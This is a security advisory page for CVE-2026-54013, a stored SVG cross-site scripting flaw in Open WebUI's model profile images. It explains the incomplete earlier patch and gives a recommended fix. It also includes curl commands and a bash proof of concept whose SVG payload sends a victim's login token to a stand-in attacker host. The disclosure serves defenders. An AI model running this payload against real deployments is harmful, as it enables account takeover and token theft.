CVE-2026-54013: Open WebUI: Stored XSS to Account Takeover via Model Profile Images
Stored XSS to Account Takeover via Model Profile Images in Open WebUI Affected: Open WebUI tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff. The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed. Except there was a fourth endpoint.
Published Jun 17, 2026 · Updated Jul 20, 2026
Affected packages
open-webui
- Ecosystem
- PyPI
- Affected
- <= 0.9.5
- Fixed in
- 0.9.6
- Check
pip show open-webui
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Stored XSS to Account Takeover via Model Profile Images in Open WebUI
Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc
---
TL;DR
Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.
---
Past of the issue
In early 2025, two security advisories landed for Open WebUI:
- GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
- GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images
The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.
The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.
Except there was a fourth endpoint.
The Gap
Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:
# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
description: Optional[str] = None
capabilities: Optional[dict] = None
model_config = ConfigDict(extra='allow')No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....
The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:
# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
header, base64_data = profile_image_url.split(',', 1)
image_data = base64.b64decode(base64_data)
image_buffer = io.BytesIO(image_data)
media_type = header.split(';')[0].lstrip('data:')
headers = {'Content-Disposition': 'inline'}
# ...
return StreamingResponse(
image_buffer,
media_type=media_type,
headers=headers,
)No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.
Compare this with the patched user endpoint:
# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: # <-- ABSENT in models.py
return FileResponse(f'{STATIC_DIR}/user.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff', # <-- ABSENT in models.py
},
)The fix exists. It just was never applied here.
Comparison Table
| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |
| `GET /users/{id}/profile/image` | YES | YES | YES | **Patched** |
| `GET /webhooks/{id}/profile/image` | YES | no | no | Partially patched |
| `GET /models/model/profile/image` | **NO** | **NO** | **NO** | **Vulnerable** |Three Write Vectors
The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:
- `POST /api/v1/models/create` (line 195) any user with
workspace.modelspermission - `POST /api/v1/models/update` (line 581) model owner or admin
- `POST /api/v1/models/import` (line 279) admin only
The workspace.models permission is enabled by default for all non-pending users in a standard deployment.
The Attack
Step 1 Store the payload:
SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>' | base64 -w0)
curl -s -X POST 'https://TARGET/api/v1/models/create' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
\"description\": \"Latest GPT-4 Turbo model\"
},
\"params\": {},
\"access_grants\": []
}"Step 2 Victim navigates to the image URL:
https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-previewThis happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).
Step 3 Token theft:
The server responds:
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.
PoC
#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5
TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener
# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
</script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)
# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
-H "Authorization: Bearer ${ATTACKER_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
\"description\": \"Latest GPT-4 Turbo\"
},
\"params\": {},
\"access_grants\": []
}"
# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"Expected server response at Step 3 (the proof — SVG served inline, no defenses):
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).
Trigger note: because the frontend loads model avatars in `` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.
Root Cause
An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profile_image_url field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.
Recommended Fix
Input side add the validator to ModelMeta:
# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
# ...
@field_validator('profile_image_url', mode='before')
@classmethod
def check_profile_image_url(cls, v):
if v is None:
return v
return validate_profile_image_url(v)Output side add MIME check and nosniff to the serving endpoint:
# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
return FileResponse(f'{STATIC_DIR}/favicon.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff',
},
)Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.
Credited to 0xEr3n, Classic298.
References
- https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7
- https://nvd.nist.gov/vuln/detail/CVE-2026-54013
- https://github.com/advisories/GHSA-v2qm-5wxj-qhj7
- https://github.com/open-webui/open-webui
- https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2757.yaml
- https://pypi.org/project/open-webui
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
